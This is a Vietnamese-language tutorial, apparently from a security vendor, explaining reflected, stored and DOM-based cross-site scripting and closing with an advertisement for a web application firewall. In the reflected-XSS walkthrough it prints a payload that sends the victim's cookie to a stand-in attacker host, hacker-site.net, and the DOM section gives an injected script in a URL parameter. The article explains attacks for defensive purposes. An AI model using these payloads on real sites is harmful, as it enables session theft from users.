Tấn công XSS là gì?
XSS viết tắt của Cross-Site Scripting . Tấn công XSS Cross-Site Scripting là một trong những kĩ thuật tấn công phổ biến nhất hiện nay. Được mệnh danh là Godfather of Attack và trong nhiều năm liền được liệt vào danh sách những kỹ thuật tấn công nguy hiểm nhất với các ứng dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
Tấn công XSS nói chung được chia làm 3 loại chính là Reflected, Stored và DOM based.
Cách thức hoạt động của kiểu tấn công XSS
Tin tặc tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.
Tấn công XSS reflected
Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected (phản xạ) bởi vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có chứa đoạn mã nguy hiểm (thường là javascript). Nạn nhân chỉ cần request đến URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong muốn (tính phản xạ thể hiện ở đây).
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả theo các bước như sau:
Bước 1: Người dùng đăng nhập web và giả sử được gán session:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 |
Bước 2: Bằng cách nào đó (giả mạo email), hacker gửi được cho người dùng URL sau
http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;</script> |
Trong đó, giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
Bước 3: Nạn nhân truy cập đến URL trên
Bước 4: Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)
Bước 5: Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
Bước 6: Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie; |
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Host: hacker-site.net |
Bước 7
Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.
Kiểu tấn công XSS Stored.
Có một loại khác của XSS được xem là nguy hiểm hơn, đó là Stored XSS.
Khác với Reflected tấn công trực tiếp vào một số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của ứng dụng web). Ví dụ như các form góp ý, các comment … trên các trang web. Để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.
Bước 1: Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
Bước 2: Khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.
Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kiểu tấn công XSS Stored còn được gọi là second-order XSS.
KIỂU TẤN CÔNG XSS DOM BASED
NESSAR VIETNAM đã từng đề cập về 2 kiểu khai thác XSS là Reflected và Stored, chúng đều có đặc điểm chung là các đoạn mã nguy hiểm sau khi được chèn vào sẽ được thực thi sau respond của server, có nghĩa là lỗi nằm về phía server. Có một kiểu khai thác XSS khác đi ngược lại với đặc điểm này, mã độc được thực thi ngay khi xử lý phía client mà không thông qua server, được biết đến với cái tên DOM Based XSS hay còn gọi là XSS loại 0.
Các bước cũng giống như Reflected XSS, hacker lợi dụng gửi URL đến nạn nhân, đây là URL một trang web bình thường, tuy nhiên trong URL có script gồm 1 số nội dung để hiển thị thêm 1 số form đăng ký ( chẳng hạn hiển thị form chọn giới tính). Phía người dùng vẫn nghĩ đó là bình thường, nhưng khi kích vào chọn giới tính thì sẽ thực thi script của hacker. Thủ thuật này khác Reflected XSS ở chỗ chỉ cần đến bước 3 là script đã chạy và hacker đã chiếm được session của người dùng.
Ví dụ,
Một website có URL đến trang đăng ký user như sau:
fill in the form |
Khi truy cập ta thấy bình thường
Xem lại source code:
Đoạn JavaScript trong đoạn source code có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập các URL nguy hiểm.
Thay vì truyền
message=Please fill in the form |
Thì truyền
message=<label>Gender</label><div class="col-sm-4"><select class = "form-control" onchange="java_script_:show()"><option value="Male">Male
</option><option value="Female">Female</option></select></div><script>function show(){alert();}</script>
|
Khi đó, form đăng ký login sẽ thành như sau, có thêm trường chọn Giới tính.
Khi người dùng chọn giới tính, đoạn script độc hại sẽ thực thi
CÁCH PHÒNG CHỐNG CÁC CUỘC TẤN CÔNG XSS – CROSS SITE SCRIPTING
Các dòng firewall, next generation firewall có thể chống lại cuộc tấn công XSS ở mức căn bản, hạn chế. Ở mức độ chuyên sâu hơn, ta cần sử dụng tường lửa ứng dụng web – Web Application Firewall (WAF). WAF là một công nghệ tường lửa bảo mật giúp bảo vệ các ứng dụng web khỏi các lỗi bảo mật dựa trên ứng dụng web và HTTP.
Các bạn có thể tham khảo sản phẩm A10 do NESSAR VIETNAM phân phối tại đây. ADC A10 là dòng sản phẩm có chức năng Web Application Firewall (WAF) giúp chống lại các mối de dọa lớp ứng dụng, ngoài ra ADC A10 còn có tính năng chống lại các cuộc tấn công từ chối dịch vụ DDOS và thực hiện khả năng cân bằng tải cho máy chủ.